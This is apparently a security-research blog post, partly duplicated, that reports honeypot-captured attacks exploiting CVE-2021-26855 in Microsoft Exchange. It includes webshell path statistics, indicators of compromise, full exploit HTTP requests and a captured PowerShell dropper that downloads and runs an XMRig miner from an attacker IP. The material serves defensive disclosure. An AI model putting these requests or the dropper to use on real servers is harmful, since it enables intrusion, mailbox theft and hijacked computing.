GET /owa/auth/L2oXwTljs3GnMyHQV0KR.aspx 39
GET /owa/auth/sol.aspx 39
GET /owa/auth/httpproxy.aspx 39
GET /owa/auth/XboxNetApiSvc.aspx 39
GET /owa/auth/supp0rt.aspx 39
GET /aspnet_client/one.aspx 39
GET /owa/auth/signon.aspx 38
GET /aspnet_client/outlookjp.aspx 38
GET /owa/auth/OutlookEN.US.aspx 38
GET /owa/auth/KrhHyDPwb70ct362JmLn.aspx 38
GET /owa/auth/OutlookUN.aspx 37
GET /owa/auth/aa.aspx 36
GET /owa/auth/aaa.aspx 36
GET /owa/auth/iispage.aspx 36
GET /aspnet_client/redirsuiteserverproxy.aspx 36
GET /owa/auth/shelltest.aspx 35
GET /owa/auth/system_web/log.aspx 35
GET /owa/auth/aspx_client.aspx 35
GET /owa/auth/tst1.aspx 35
GET /owa/auth/tpmvscmgrsvr.aspx 35
GET /aspnet_client/online.aspx 34
GET /owa/auth/VqEUaLjKpcWoNC7yPMlz.aspx 34
GET /owa/auth/aspnet.aspx 34
GET /aspnet_client/outlookru.aspx 34
GET /aspnet_client/outlookzh.aspx 34
GET /aspnet_client/outlookfront.aspx 34
GET /aspnet_client/shel.aspx 33
GET /aspnet_client/logg.aspx 33
GET /owa/auth/asas.aspx 33
GET /aspnet_client/server.aspx 33
GET /owa/auth/tNLPge.aspx 32
GET /owa/auth/ahihi.aspx 32
GET /owa/auth/TimeoutLogout.aspx 32
GET /owa/auth/aspnet_pages.aspx 32
GET /owa/auth/ZI3uMczmPa5bwTYVpKsE.aspx 32
GET /owa/auth/test13037.aspx 31
GET /aspnet_client/shel2.aspx 31
GET /aspnet_client/one1.aspx 31
GET /aspnet_client/httpproxy.aspx 31
GET /owa/auth/test1337.aspx 31
GET /owa/auth/signout.aspx 29
GET /aspnet_client/outlooken.aspx 28
GET /owa/auth/default1.aspx 28
GET /owa/auth/theme-gsx8ujzpicf0.aspx 28
GET /aspnet_client/multiup.aspx 27
GET /aspnet_client/logout.aspx 27
GET /owa/auth/theme-vten8snn874b.aspx 25
GET /aspnet_client/error.aspx 8
GET /aspnet_client/errorFF.aspx 8
GET /aspnet_client/errorEE.aspx 8
GET /owa/auth/OutlookJP.aspx 6
GET /aspnet_client/errorEW.aspx 6
POST /aspnet_client/discover.aspx 5
GET /aspnet_client/errorEEE.aspx 5
POST /aspnet_client/system_web/logx2.aspx 4
GET /owa/auth/HttpProxy.aspx 4
GET /owa/auth/OutlookRU.aspx 4
GET /aspnet_client/system_web/sol.aspx 4
GET /aspnet_client/system_web/QBFjM1SC.aspx 4
GET /aspnet_client/OutlookJP.aspx 4
GET /aspnet_client/system_web/ioWYM7C4.aspx 4
GET /owa/auth/Online.aspx 4
GET /aspnet_client/MultiUp.aspx 4
GET /owa/auth/Logout.aspx 4
GET /aspnet_client/system_web/E12B65rm.aspx 4
GET /aspnet_client/system_web/vY4qLEpG.aspx 3
GET /aspnet_client/system_web/test.aspx 3
GET /aspnet_client/Online.aspx 3
GET /aspnet_client/system_web/3ue5myCq.aspx 3
GET /aspnet_client/system_web/sJ0f8qHt.aspx 3
GET /aspnet_client/system_web/cMvBgHLZ.aspx 3
GET /aspnet_client/system_web/WFk2or3Y.aspx 3
GET /aspnet_client/system_web/GnCwADKH.aspx 3
GET /aspnet_client/rabiitch.aspx 3
GET /aspnet_client/system_web/Cs64LbPk.aspx 3
GET /aspnet_client/Logout.aspx 2
GET /owa/auth/WMSPDMOD.aspx 2
GET /aspnet_client/OutlookRU.aspx 2
GET /owa/auth/Discover.aspx 2
GET /aspnet_client/system_web/2TFGNswO.aspx 2
GET /aspnet_client/Discover.aspx 2
GET /owa/auth/checkerror635284.aspx 2
GET /owa/auth/MultiUp.aspx 2
GET /aspnet_client/system_web/3NHhPxJ5.aspx 2
GET /aspnet_client/system_web/1A2ZeQOu.aspx 2
GET /owa/auth/Current/themes/resources/lgnleft.aspx 2
GET /aspnet_client/checkerror635284.aspx 2
GET /owa/auth/1d61acae91.aspx 2
GET /owa/auth/current/themes/resources/error.aspx 1
GET /aspnet_client/iisstart.aspx 1
GET /owa/auth/lo.aspx 1
GET /owa/auth/error404.aspx 1
Miscrosoft Exchange server distribution
360 Quake cyberspace mapping system found a total of 3,378,260 data records for Microsoft Exchange servers by mapping assets across the network, including 534,590 independent IPs, as shown in the following figure.
Contact us
Readers are always welcomed to reach us on twitter, or email to netlab at 360
dot cn.
IoC
IP:
178.62.226.184
157.245.47.214
Miner Proxy:
159.65.206.137:3333
URL:
http://178.62.226.184/mini-reverse.ps1
http://178.62.226.184/run.ps1
http://178.62.226.184/config.json
http://178.62.226.184/javacpl.exe
http://178.62.226.184/WinRing0x64.sys
MD5:
79e2c9953f452f777d55749f01e5f3b7
2d4d75e46f6de65fba2451da71686322
0fe28f557e9997cd2750ff3fa86a659e
67f2d42e30f6239114feafc9ffd009d8
0c0195c48b6b8582fa6f6373032118da
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"### Background\nOn March 2, 2021, Microsoft disclosed a remote code execution vulnerability in Microsoft Exchange server[[1]](https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/)。\n\nWe customized our Anglerfish honeypot to simulate and deploy Microsoft Exchange honeypot plug-in on March 3, and soon we started to see a large amount of related data, so far, we have already seen attacks attempting to implant Webshell, obtaiin mailbox information, and conducting XMRig based mining activities, we named it Tripleone. \n\nOn March 6, 2021, ProjectDiscovery and Microsoft CSS-Exchange project disclosed the vulnerability detection scripts [[2]](https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-26855.yaml)[[3]](https://github.com/microsoft/CSS-Exchange/blob/main/Security/src/http-vuln-cve2021-26855.nse)。\n\nThe remote code execution vulnerability exploitation for Microsoft Exchange servers are complex, generally speaking, it takes some time from PoC publication to real exploitation. Due to the possible impact of the vulnerability, this time the attackers move fast. \n\n\n### CVE-2021-26855 Webshell implantation\n```\nPOST /ecp/j2r3.js HTTP/1.1\nHost: {target}\nConnection: keep-alive\nAccept-Encoding: gzip, deflate\nAccept: */*\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36\nContent-Type: application/json; charset=utf-8\nCookie: X-BEResource=Administrator@EXCHANGE01:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=bTEwQdC2fkijeS-2wvtAdCnAngle7rfishIlH4dgINcqO6mYA4bY-ATaZjT2ZzjTIil62g3Tg23.&a=~1942062522; ASP.NET_SessionId=00782f75-8b35-11eb-af5a-560002fbb132; msExchEcpCanary=bTEwQdC2fkijeS-2wvtAdCnAngle7rfishIlH4dgINcqO6mYA4bY-ATaZjT2ZzjTIil62g3Tg23.\nmsExchLogonMailbox: S-1-5-20\nContent-Length: 381\n\n{\"properties\": {\"Parameters\": {\"__type\": \"JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel\", \"FilePathName\": \"\\\\\\\\127.0.0.1\\\\c$\\\\Program Files\\\\Microsoft\\\\Exchange Server\\\\V15\\\\FrontEnd\\\\HttpProxy\\\\owa\\\\auth\\\\test1337.aspx\"}}, \"identity\": {\"DisplayName\": \"OAB (Default Web Site)\", \"__type\": \"Identity:ECP\", \"RawIdentity\": \"7280d03f-194a-4bf3-98a7-076e7728321d\"}}\n```\n\n### CVE-2021-26855 Obtaining mailbox information\n```\nPOST //ecp/ssrf.js HTTP/1.1\nHost: {target}\nConnection: close\nAccept-Encoding: gzip\nAccept: */*\nUser-Agent: Hello-World\nContent-Type: text/xml\nCookie: X-BEResource=IBM-EX01/EWS/Exchange.asmx?a=~1942062522;\nContent-Length: 756\n\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" \nxmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" \nxmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" \nxmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Body>\n <m:GetFolder>\n <m:FolderShape>\n <t:BaseShape>Default</t:BaseShape>\n </m:FolderShape>\n <m:FolderIds>\n <t:DistinguishedFolderId Id=\"inbox\">\n <t:Mailbox>\n <t:EmailAddress>[email protected]</t:EmailAddress>\n </t:Mailbox>\n </t:DistinguishedFolderId>\n </m:FolderIds>\n </m:GetFolder>\n </soap:Body>\n</soap:Envelope>\n```\n\n### CVE-2021-26855 Mining attack\n```\nPOST /owa/auth/test1337.aspx HTTP/1.1\nHost: {target}\nConnection: keep-alive\nAccept-Encoding: gzip, deflate\nAccept: */*\nUser-Agent: python-requests/2.25.1\nContent-Length: 211\nContent-Type: application/x-www-form-urlencoded\n\ncode=Response.Write%28new+ActiveXObject%28%22WScript.Shell%22%29.exec%28%22powershell+IEX+%28New-Object+Net.WebClient%29.DownloadString%28http%3A%2F%2F178.62.226.184%2Frun.ps1%29%22%29.StdOut.ReadAll%28%29%29%3B\n```\n\nThe attacker used `http://178.62.226.184/run.ps1` to implant XMRig mining program, here is the detail\n```\n$ProcessActive = Get-Process javacpl -ErrorAction SilentlyContinue\nif($ProcessActive -eq $null)\n{\nnew-item c:\\temp\\111 -itemtype directory\n$WebClient = New-Object System.Net.WebClient\n$WebClient.DownloadFile(\"http://178.62.226.184/config.json\",\"C:\\temp\\111\\config.json\")\n$WebClient.DownloadFile(\"http://178.62.226.184/javacpl.exe\",\"C:\\temp\\111\\javacpl.exe\")\n$WebClient.DownloadFile(\"http://178.62.226.184/WinRing0x64.sys\",\"C:\\temp\\111\\WinRing0x64.sys\")\nStart-Process -Filepath \"C:\\temp\\111\\javacpl.exe\"\n$action = New-ScheduledTaskAction -Execute \"powershell.exe\" -Argument \"-windowstyle hidden -executionpolicy bypass -noprofile IEX (New-Object Net.WebClient).DownloadString('http://178.62.226.184/run.ps1')\"\n$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 3)\nRegister-ScheduledTask -Action $action -Trigger $trigger -TaskName \"App2\" -Description \"Check\"\n \n}\nelse\n{\t\nWrite-host \"run\"\n}\n```\n\n### Anglerfish Honeypot Data\nFrom March 6, 2021, our Anglerfish honeypot system started to see Microsoft Exchange vulnerability (CVE-2021-26855) scans, as of a few days ago, the geographical distribution of the source IP address of the scan is as follows.\n<a href=\"__GHOST_URL__/content/images/2021/03/vulncheck_source_ip.png\"><img src=\"__GHOST_URL__/content/images/2021/03/vulncheck_source_ip.png\" class=\"kg-image\"/></a>\n\nMost scans target port 443 (77.3%), followed by port 80 (11.3%), as follows.\n<a href=\"__GHOST_URL__/content/images/2021/03/vulncheck_ports.png\"><img src=\"__GHOST_URL__/content/images/2021/03/vulncheck_ports.png\" class=\"kg-image\"/></a>\n\nThe scan source IP ASNs (Autonomous System Numbers) are mainly from Linode, LLC, DiGiTALOCEAN-ASN and LeaseWeb Netherlands B.V., accounting for more than 50%, and the overall trend of the scan is as follows.\n<a href=\"__GHOST_URL__/content/images/2021/03/vulncheck_source_ip_asn.png\"><img src=\"__GHOST_URL__/content/images/2021/03/vulncheck_source_ip_asn.png\" class=\"kg-image\"/></a>\n\nThe scanned sources are from various countries around the world, with the United States accounting for the largest share, as shown below:\n<a href=\"__GHOST_URL__/content/images/2021/03/vulncheck_source_ip_country.png\"><img src=\"__GHOST_URL__/content/images/2021/03/vulncheck_source_ip_country.png\" class=\"kg-image\"/></a>\n\nWe can see from our data that the Top 5 scanner IPs account for 50% of all scanning behavior, with 159.89.95.163 leading the pack of 24%.\n<a href=\"__GHOST_URL__/content/images/2021/03/vulncheck_ip_stats.png\"><img src=\"__GHOST_URL__/content/images/2021/03/vulncheck_ip_stats.png\" class=\"kg-image\"/></a>\n\nIt appears that the attacker had been able to successfully exploit the vulnerability to implant Webshell, as shown in the following figure.\n<a href=\"__GHOST_URL__/content/images/2021/03/webshell_details.png\"><img src=\"__GHOST_URL__/content/images/2021/03/webshell_details.png\" class=\"kg-image\"/></a>\n\nThe attacker further implemented malicious attack operations through Webshell, such as implanting XMRig mining program, as shown in the following figure.\n<a href=\"__GHOST_URL__/content/images/2021/03/sample_details.png\"><img src=\"__GHOST_URL__/content/images/2021/03/sample_details.png\" class=\"kg-image\"/></a>\n\n\n### Part of the scan source IP rDNS SLD information\nHere is a briefly analyzing of the rDNS information corresponding to the scan source IPs.\n<a href=\"__GHOST_URL__/content/images/2021/03/vulncheck_sld.png\"><img src=\"__GHOST_URL__/content/images/2021/03/vulncheck_sld.png\" class=\"kg-image\"/></a>\n\n### Webshell Analysis\nWe monitored a large number of Webshell path probing requests, we believe most of which were scans from security vendors and research organizations.\nKnown Webshell paths are shown below.\n```\nGET /aspnet_client/system_web/log.aspx \t1682\nGET /aspnet_client/OutlookEN.aspx \t1660\nGET /aspnet_client/HttpProxy.aspx \t1643\nGET /aspnet_client/aspnet_client.aspx \t1613\nGET /aspnet_client/discover.aspx \t1583\nGET /aspnet_client/supp0rt.aspx \t1490\nGET /owa/auth/OutlookEN.aspx \t1464\nGET /aspnet_client/aspnet_iisstart.aspx \t1463\nGET /owa/auth/Current/scripts/premium/fexppw.aspx \t1442\nGET /aspnet_client/xclkmcfldfi948398430fdjkfdkj.aspx \t1441\nGET /aspnet_client/Server.aspx \t1433\nGET /owa/auth/8Lw7tAhF9i1pJnRo.aspx \t1428\nGET /owa/auth/logg.aspx \t1416\nGET /aspnet_client/xx.aspx \t1412\nGET /owa/auth/a.aspx \t1403\nGET /owa/auth/Current/themes/errorFS.aspx \t1393\nGET /owa/auth/errorPage.aspx \t1373\nGET /owa/auth/getpp.aspx \t1367\nGET /aspnet_client/aspnet_pages.aspx \t1364\nGET /owa/auth/default.aspx \t1334\nGET /owa/auth/fatal-erro.aspx \t1326\nGET /owa/auth/errorPages.aspx \t1322\nGET /owa/auth/log.aspx \t1311\nGET /owa/auth/shel90.aspx \t1306\nGET /owa/auth/Err0r.aspx \t1303\nGET /owa/auth/logout.aspx \t1302\nGET /aspnet_client/log3.aspx \t1293\nGET /owa/auth/15.0.1347/themes/resources/exchange_create_css.aspx \t1285\nGET /owa/auth/RedirSuiteServerProxy.aspx \t1279\nGET /aspnet_client/eror.aspx \t1266\nGET /aspnet_client/0QWYSEXe.aspx \t1263\nGET /owa/auth/current/one1.aspx \t1260\nGET /aspnet_client/session.aspx \t1242\nGET /aspnet_client/iispage.aspx \t1213\nGET /aspnet_client/system_web/logx2.aspx \t1212\nGET /owa/auth/Current/themes/resources/owafont_vo.aspx \t1207\nGET /aspnet_client/log.aspx \t1207\nGET /aspnet_client/WlUtyY.aspx \t1168\nGET /aspnet_client/aspnet_www.aspx \t1167\nGET /owa/auth/15.0.847/themes/resources/hmask.aspx \t1164\nGET /owa/auth/Current/app222.aspx \t1155\nGET /owa/auth/15.1.1913/themes/resources/View_Photos.aspx \t1147\nGET /owa/auth/ErrorAA.aspx \t1089\nGET /owa/auth/one.aspx \t1079\nGET /aspnet_client/errorcheck.aspx \t1074\nGET /owa/auth/one1.aspx \t1072\nGET /aspnet_client/system_web/logfe.aspx \t1064\nGET /owa/auth/zntwv.aspx \t1031\nGET /owa/auth/Current/themes/resources/owafont_vn.aspx \t1019\nGET /owa/auth/shel.aspx \t1016\nGET /owa/auth/shel2.aspx \t1011\nGET /owa/auth/bob.aspx \t1008\nGET /owa/auth/OutlookZH.aspx \t1008\nGET /owa/auth/Current/themes/resources/daxlz.aspx \t1001\nGET /owa/auth/authhead.aspx \t1000\nGET /owa/auth/15.1.1913/themes/resources/bg_gradient_login.aspx \t993\nGET /aspnet_client/default1.aspx \t984\nGET /aspnet_client/system_web/logon.aspx \t978\nGET /aspnet_client/s.aspx \t930\nGET /aspnet_client/RedirSuiteServerProxy.aspx \t927\nGET /aspnet_client/8aUco9ZK.aspx \t920\nGET /aspnet_client/F48zhi6U.aspx \t917\nGET /aspnet_client/E3MsTjP8.aspx \t915\nGET /aspnet_client/Fc1b3WDP.aspx \t915\nGET /aspnet_client/2XJHwN19.aspx \t907\nGET /aspnet_client/0q1iS7mn.aspx \t905\nGET /aspnet_client/shell.aspx \t901\nGET /aspnet_client/McYhCzdb.aspx \t898\nGET /aspnet_client/sol.aspx \t893\nGET /aspnet_client/aspnettest.aspx \t889\nGET /aspnet_client/error_page.aspx \t885\nGET /aspnet_client/system_web/error.aspx \t883\nGET /aspnet_client/UwSPMsFi.aspx \t882\nGET /aspnet_client/web.config.aspx \t878\nGET /aspnet_client/shellex.aspx \t876\nGET /aspnet_client/uHSPTWMG.aspx \t873\nGET /aspnet_client/help.aspx \t868\nGET /aspnet_client/load.aspx \t865\nGET /aspnet_client/zXkZu6bn.aspx \t858\nGET /aspnet_client/ogu7zFil.aspx \t843\nGET /owa/auth/shell.aspx \t644\nGET /owa/auth/web.aspx \t643\nGET /owa/auth/aspnet_client.aspx \t639\nGET /owa/auth/errorEEE.aspx \t635\nGET /owa/auth/27fib.aspx \t627\nGET /owa/auth/errorEE.aspx \t625\nGET /owa/auth/b.aspx \t624\nGET /owa/auth/aspnettest.aspx \t621\nGET /owa/auth/healthcheck.aspx \t621\nGET /owa/auth/t.aspx \t620\nGET /owa/auth/shellex.aspx \t619\nGET /owa/auth/wanlin.aspx \t619\nGET /owa/auth/aspnet_iisstart.aspx \t619\nGET /owa/auth/errorFF.aspx \t615\nGET /owa/auth/test.aspx \t615\nGET /owa/auth/document.aspx \t614\nGET /owa/auth/xx.aspx \t613\nGET /owa/auth/help.aspx \t612\nGET /owa/auth/evilcorp.aspx \t611\nGET /owa/auth/web.config.aspx \t606\nGET /owa/auth/error_page.aspx \t605\nGET /owa/auth/aspnet_www.aspx \t603\nGET /owa/auth/errorFE.aspx \t601\nGET /owa/auth/errorEW.aspx \t597\nGET /owa/auth/OutlookDA.aspx \t288\nGET /owa/auth/OutlookFR.aspx \t208\nGET /owa/auth/OutlookIT.aspx \t187\nGET /owa/auth/OutlookDE.aspx \t186\nGET /owa/auth/OutlookES.aspx \t182\nGET /owa/auth/expiredpassword.aspx \t175\nGET /owa/auth/OutlookPL.aspx \t171\nGET /owa/auth/OutlookAR.aspx \t165\nGET /owa/auth/OutlookSE.aspx \t162\nGET /owa/auth/logoff.aspx \t150\nGET /owa/auth/OutlookAS.aspx \t146\nGET /owa/auth/OutlookIO.aspx \t144\nGET /owa/auth/OutlookCN.aspx \t111\nGET /aspnet_client/Service.aspx \t88\nGET /aspnet_client/1d.aspx \t88\nGET /aspnet_client/Metabase.aspx \t86\nGET /aspnet_client/7KmCS.aspx \t86\nGET /aspnet_client/config.aspx \t79\nGET /aspnet_client/cafZCu.aspx \t78\nGET /aspnet_client/8lw7tahf9i1pjnro.aspx \t77\nGET /aspnet_client/MAlREnavuY.aspx \t77\nGET /aspnet_client/a.aspx \t77\nGET /aspnet_client/Default.aspx \t76\nGET /aspnet_client/ahihi.aspx \t76\nGET /aspnet_client/aa.aspx \t76\nGET /aspnet_client/aspnet_iistart.aspx \t75\nGET /aspnet_client/configs.aspx \t74\nGET /aspnet_client/aspnet.aspx \t71\nGET /aspnet_client/aspx_client.aspx \t69\nGET /aspnet_client/error404.aspx \t67\nGET /aspnet_client/bob.aspx \t67\nGET /aspnet_client/document.aspx \t67\nGET /aspnet_client/authhead.aspx \t67\nGET /aspnet_client/current/one1.aspx \t63\nGET /aspnet_client/client.aspx \t63\nGET /aspnet_client/erroree.aspx \t63\nGET /owa/auth/seclogon.aspx \t61\nGET /aspnet_client/upnews.aspx \t60\nGET /aspnet_client/errorff.aspx \t60\nGET /owa/auth/Current/themes/resources/system_io.aspx \t60\nGET /owa/auth/15.1.225/scripts/premium/errorPE.aspx \t59\nGET /aspnet_client/y3iGH.aspx \t59\nGET /owa/auth/Current/themes/resources/errorFE.aspx \t59\nGET /owa/auth/Current/AMNBJLXqoHTV.aspx \t59\nGET /aspnet_client/errorew.aspx \t59\nGET /owa/auth/Current/themes/resources/OutlookQN.aspx \t59\nGET /owa/auth/Current/themes/resources/View_tools.aspx \t59\nGET /owa/auth/6GIXZG.aspx \t59\nGET /aspnet_client/system_web/ogzsis0L.aspx \t59\nGET /owa/auth/Current/themes/resources/Ignrop.aspx \t59\nGET /aspnet_client/errorpages.aspx \t58\nGET /aspnet_client/erroreee.aspx \t58\nGET /owa/auth/hmknq.aspx \t57\nGET /aspnet_client/system_web/4_0_30319/self.aspx \t57\nGET /owa/auth/DesktopShellExt.aspx \t57\nGET /aspnet_client/web.aspx \t56\nGET /aspnet_client/system_web/9VkFwtxt.aspx \t56\nGET /aspnet_client/default.aspx \t56\nGET /aspnet_client/soHKY.aspx \t56\nGET /aspnet_client/errorpage.aspx \t56\nGET /owa/auth/rlvgk.aspx \t54\nGET /owa/auth/logerr.aspx \t54\nGET /owa/auth/pzbwl.aspx \t54\nGET /owa/auth/owaauth.aspx \t54\nGET /aspnet_client/est11.aspx \t54\nGET /owa/auth/errorcheck.aspx \t53\nGET /owa/auth/Current/layout.aspx \t52\nGET /owa/auth/Current/themes/resources/logon.aspx \t52\nGET /owa/auth/CommonError.aspx \t52\nGET /owa/auth/Current/themes/config1.aspx \t52\nGET /owa/auth/ErrorDef.aspx \t52\nGET /owa/auth/iasads.aspx \t51\nGET /owa/auth/15.1.2044/themes/resources/office365_ph.aspx \t51\nGET /owa/auth/061a06908b.aspx \t50\nGET /owa/auth/Current/zJBxcBoI.aspx \t50\nGET /owa/auth/errorew.aspx \t50\nGET /aspnet_client/help..aspx \t50\nGET /owa/auth/15.0.1497/themes/resources/error.aspx \t50\nGET /owa/auth/rwinsta.aspx \t50\nGET /aspnet_client/t.aspx \t50\nGET /owa/auth/server.aspx \t49\nGET /owa/auth/erroreww.aspx \t49\nGET /aspnet_client/temp.aspx \t49\nGET /owa/auth/frow.aspx \t49\nGET /aspnet_client/test007.aspx \t49\nGET /owa/auth/fhsvc.aspx \t49\nGET /owa/auth/s.aspx \t48\nGET /owa/auth/errorpage.aspx \t48\nGET /aspnet_client/zEeomtdYcX.aspx \t48\nGET /owa/auth/session.aspx \t48\nGET /owa/auth/secauth.aspx \t48\nGET /owa/auth/Current/Exchanges.aspx \t48\nGET /owa/auth/erroree.aspx \t48\nGET /owa/auth/atlthunk.aspx \t48\nGET /aspnet_client/voqbETdoni.aspx \t48\nGET /owa/auth/secauth1.aspx \t48\nGET /owa/auth/online.aspx \t48\nGET /owa/auth/erroreee.aspx \t48\nGET /owa/auth/outlooken.aspx \t48\nGET /owa/auth/error.aspx \t47\nGET /owa/auth/ProximityService.aspx \t47\nGET /owa/auth/outlookfront.aspx \t47\nGET /owa/auth/proxylogon.aspx \t47\nGET /owa/auth/8lw7tahf9i1pjnro.aspx \t47\nGET /owa/auth/ovfwHWjwWm.aspx \t47\nGET /owa/auth/qnx.aspx \t47\nGET /owa/auth/plorion.aspx \t47\nGET /aspnet_client/uyqITYBPew.aspx \t47\nGET /owa/auth/outlookru.aspx \t47\nGET /aspnet_client/show.aspx \t47\nGET /aspnet_client/fatal-erro.aspx \t46\nGET /owa/auth/errorfff.aspx \t46\nGET /owa/auth/KBDBENE.aspx \t46\nGET /owa/auth/OutlookUS.aspx \t46\nGET /aspnet_client/system.aspx \t46\nGET /owa/auth/login.aspx \t46\nGET /owa/auth/letmeinplzs.aspx \t46\nGET /owa/auth/jhJ2zT9ouOfP6VnBcHg3.aspx \t46\nGET /owa/auth/errorff.aspx \t46\nGET /owa/auth/redirsuiteserverproxy.aspx \t45\nGET /aspnet_client/signon.aspx \t45\nGET /aspnet_client/healthcheck.aspx \t45\nGET /aspnet_client/login.aspx \t45\nGET /owa/auth/ntprint.aspx \t45\nGET /owa/auth/m0xbqRg1ranzvGD3jiXT.aspx \t44\nGET /aspnet_client/qfmrucnzl.aspx \t44\nGET /owa/auth/errorpages.aspx \t44\nGET /owa/auth/XblGameSave.aspx \t44\nGET /owa/auth/OutlookDN.aspx \t44\nGET /aspnet_client/obq.aspx \t44\nGET /owa/auth/load.aspx \t44\nGET /aspnet_client/logaaa.aspx \t44\nGET /owa/auth/discover.aspx \t43\nGET /owa/auth/outlookjp.aspx \t43\nGET /owa/auth/jOBJIfr92ERLmg1HcnF3.aspx \t43\nGET /owa/auth/hUjwpeROcY7Fo4g8ETH3.aspx \t42\nGET /aspnet_client/shel90.aspx \t42\nGET /aspnet_client/support.aspx \t42\nGET /owa/auth/HcDKNzBoha.aspx \t41\nGET /owa/auth/multiup.aspx \t41\nGET /owa/auth/FR5Ha0D1dwfsqIUMhLCQ.aspx \t40\nGET /owa/auth/outlookzh.aspx \t40\nGET /owa/auth/HUUPItrNpXvI.aspx \t40\nGET /owa/auth/dbuj9.aspx \t40\nGET /owa/auth/xclkmcfldfi948398430fdjkfdkj.aspx \t40\nGET /owa/auth/L2oXwTljs3GnMyHQV0KR.aspx \t39\nGET /owa/auth/sol.aspx \t39\nGET /owa/auth/httpproxy.aspx \t39\nGET /owa/auth/XboxNetApiSvc.aspx \t39\nGET /owa/auth/supp0rt.aspx \t39\nGET /aspnet_client/one.aspx \t39\nGET /owa/auth/signon.aspx \t38\nGET /aspnet_client/outlookjp.aspx \t38\nGET /owa/auth/OutlookEN.US.aspx \t38\nGET /owa/auth/KrhHyDPwb70ct362JmLn.aspx \t38\nGET /owa/auth/OutlookUN.aspx \t37\nGET /owa/auth/aa.aspx \t36\nGET /owa/auth/aaa.aspx \t36\nGET /owa/auth/iispage.aspx \t36\nGET /aspnet_client/redirsuiteserverproxy.aspx \t36\nGET /owa/auth/shelltest.aspx \t35\nGET /owa/auth/system_web/log.aspx \t35\nGET /owa/auth/aspx_client.aspx \t35\nGET /owa/auth/tst1.aspx \t35\nGET /owa/auth/tpmvscmgrsvr.aspx \t35\nGET /aspnet_client/online.aspx \t34\nGET /owa/auth/VqEUaLjKpcWoNC7yPMlz.aspx \t34\nGET /owa/auth/aspnet.aspx \t34\nGET /aspnet_client/outlookru.aspx \t34\nGET /aspnet_client/outlookzh.aspx \t34\nGET /aspnet_client/outlookfront.aspx \t34\nGET /aspnet_client/shel.aspx \t33\nGET /aspnet_client/logg.aspx \t33\nGET /owa/auth/asas.aspx \t33\nGET /aspnet_client/server.aspx \t33\nGET /owa/auth/tNLPge.aspx \t32\nGET /owa/auth/ahihi.aspx \t32\nGET /owa/auth/TimeoutLogout.aspx \t32\nGET /owa/auth/aspnet_pages.aspx \t32\nGET /owa/auth/ZI3uMczmPa5bwTYVpKsE.aspx \t32\nGET /owa/auth/test13037.aspx \t31\nGET /aspnet_client/shel2.aspx \t31\nGET /aspnet_client/one1.aspx \t31\nGET /aspnet_client/httpproxy.aspx \t31\nGET /owa/auth/test1337.aspx \t31\nGET /owa/auth/signout.aspx \t29\nGET /aspnet_client/outlooken.aspx \t28\nGET /owa/auth/default1.aspx \t28\nGET /owa/auth/theme-gsx8ujzpicf0.aspx \t28\nGET /aspnet_client/multiup.aspx \t27\nGET /aspnet_client/logout.aspx \t27\nGET /owa/auth/theme-vten8snn874b.aspx \t25\nGET /aspnet_client/error.aspx \t8\nGET /aspnet_client/errorFF.aspx \t8\nGET /aspnet_client/errorEE.aspx \t8\nGET /owa/auth/OutlookJP.aspx \t6\nGET /aspnet_client/errorEW.aspx \t6\nPOST /aspnet_client/discover.aspx \t5\nGET /aspnet_client/errorEEE.aspx \t5\nPOST /aspnet_client/system_web/logx2.aspx \t4\nGET /owa/auth/HttpProxy.aspx \t4\nGET /owa/auth/OutlookRU.aspx \t4\nGET /aspnet_client/system_web/sol.aspx \t4\nGET /aspnet_client/system_web/QBFjM1SC.aspx \t4\nGET /aspnet_client/OutlookJP.aspx \t4\nGET /aspnet_client/system_web/ioWYM7C4.aspx \t4\nGET /owa/auth/Online.aspx \t4\nGET /aspnet_client/MultiUp.aspx \t4\nGET /owa/auth/Logout.aspx \t4\nGET /aspnet_client/system_web/E12B65rm.aspx \t4\nGET /aspnet_client/system_web/vY4qLEpG.aspx \t3\nGET /aspnet_client/system_web/test.aspx \t3\nGET /aspnet_client/Online.aspx \t3\nGET /aspnet_client/system_web/3ue5myCq.aspx \t3\nGET /aspnet_client/system_web/sJ0f8qHt.aspx \t3\nGET /aspnet_client/system_web/cMvBgHLZ.aspx \t3\nGET /aspnet_client/system_web/WFk2or3Y.aspx \t3\nGET /aspnet_client/system_web/GnCwADKH.aspx \t3\nGET /aspnet_client/rabiitch.aspx \t3\nGET /aspnet_client/system_web/Cs64LbPk.aspx \t3\nGET /aspnet_client/Logout.aspx \t2\nGET /owa/auth/WMSPDMOD.aspx \t2\nGET /aspnet_client/OutlookRU.aspx \t2\nGET /owa/auth/Discover.aspx \t2\nGET /aspnet_client/system_web/2TFGNswO.aspx \t2\nGET /aspnet_client/Discover.aspx \t2\nGET /owa/auth/checkerror635284.aspx \t2\nGET /owa/auth/MultiUp.aspx \t2\nGET /aspnet_client/system_web/3NHhPxJ5.aspx \t2\nGET /aspnet_client/system_web/1A2ZeQOu.aspx \t2\nGET /owa/auth/Current/themes/resources/lgnleft.aspx \t2\nGET /aspnet_client/checkerror635284.aspx \t2\nGET /owa/auth/1d61acae91.aspx \t2\nGET /owa/auth/current/themes/resources/error.aspx \t1\nGET /aspnet_client/iisstart.aspx \t1\nGET /owa/auth/lo.aspx \t1\nGET /owa/auth/error404.aspx \t1\n```\n\n\n### Miscrosoft Exchange server distribution\n360 Quake cyberspace mapping system found a total of 3,378,260 data records for Microsoft Exchange servers by mapping assets across the network, including 534,590 independent IPs, as shown in the following figure.\n<a href=\"__GHOST_URL__/content/images/2021/03/microsoft_exchange_distribution_en.png\"><img 